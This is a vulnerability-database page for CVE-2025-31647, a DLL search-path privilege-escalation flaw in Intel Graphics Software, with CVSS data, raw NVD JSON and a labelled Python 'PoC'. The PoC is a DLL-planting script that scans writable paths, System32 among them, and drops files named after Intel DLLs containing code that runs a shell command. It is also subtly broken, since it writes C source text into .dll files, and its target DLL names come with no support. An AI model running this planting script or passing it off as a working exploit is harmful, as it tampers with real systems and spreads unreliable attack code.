Security Vulnerability Report
中文
CVE-2025-31647 CVSS 6.7 MEDIUM

CVE-2025-31647

Published: 2025-11-11 17:15:48
Last Modified: 2026-04-15 00:35:42

Description

Uncontrolled search path for some Intel(R) Graphics Software before version 25.22.1502.2 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Intel(R) Graphics Software < 25.22.1502.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-31647 DLL Hijacking PoC # Target: Intel(R) Graphics Software < 25.22.1502.2 # Attack Vector: Place malicious DLL in application search path import os import shutil import ctypes TARGET_DLLS = [ "igdgmm.dll", "igc32.dll", "igdrclneo.dll", "gm20bl.dll" ] MALICIOUS_DLL_TEMPLATE = ''' // Malicious DLL for CVE-2025-31647 PoC #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create reverse shell or execute payload // This runs in the context of Intel Graphics Software system("cmd.exe /c whoami > C:\\\\temp\\\\poc_result.txt"); } return TRUE; } ''' def create_malicious_dll(dll_name, output_path): """Generate malicious DLL file""" dll_path = os.path.join(output_path, dll_name) with open(dll_path, 'w') as f: f.write(MALICIOUS_DLL_TEMPLATE.replace('DLL_NAME', dll_name)) return dll_path def check_vulnerable_path(base_path): """Check if directory is in DLL search path and writable""" if os.access(base_path, os.W_OK): return True return False def main(): # Common search paths for Intel Graphics Software search_paths = [ os.path.expanduser("~\\"), "C:\\\\Program Files\\\\Intel\\\\Graphics\\\\", "C:\\\\Windows\\\\System32\\\\", os.getcwd() ] print("CVE-2025-31647 DLL Hijacking PoC") print("Target: Intel Graphics Software < 25.22.1502.2") print("-" * 50) # Check for vulnerable paths vulnerable_paths = [] for path in search_paths: if check_vulnerable_path(path): vulnerable_paths.append(path) print(f"[+] Writable path found: {path}") if not vulnerable_paths: print("[-] No writable search paths found") return # Drop malicious DLLs to vulnerable paths for dll in TARGET_DLLS: for path in vulnerable_paths: dll_path = create_malicious_dll(dll, path) print(f"[+] Planted: {dll_path}") print("\n[!] PoC DLLs planted. Wait for user to trigger Intel Graphics Software.") print("[!] Check C:\\\\temp\\\\poc_result.txt for execution result.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31647", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:47.917", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled search path for some Intel(R) Graphics Software before version 25.22.1502.2 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01356.html", "source": "[email protected]"}]}}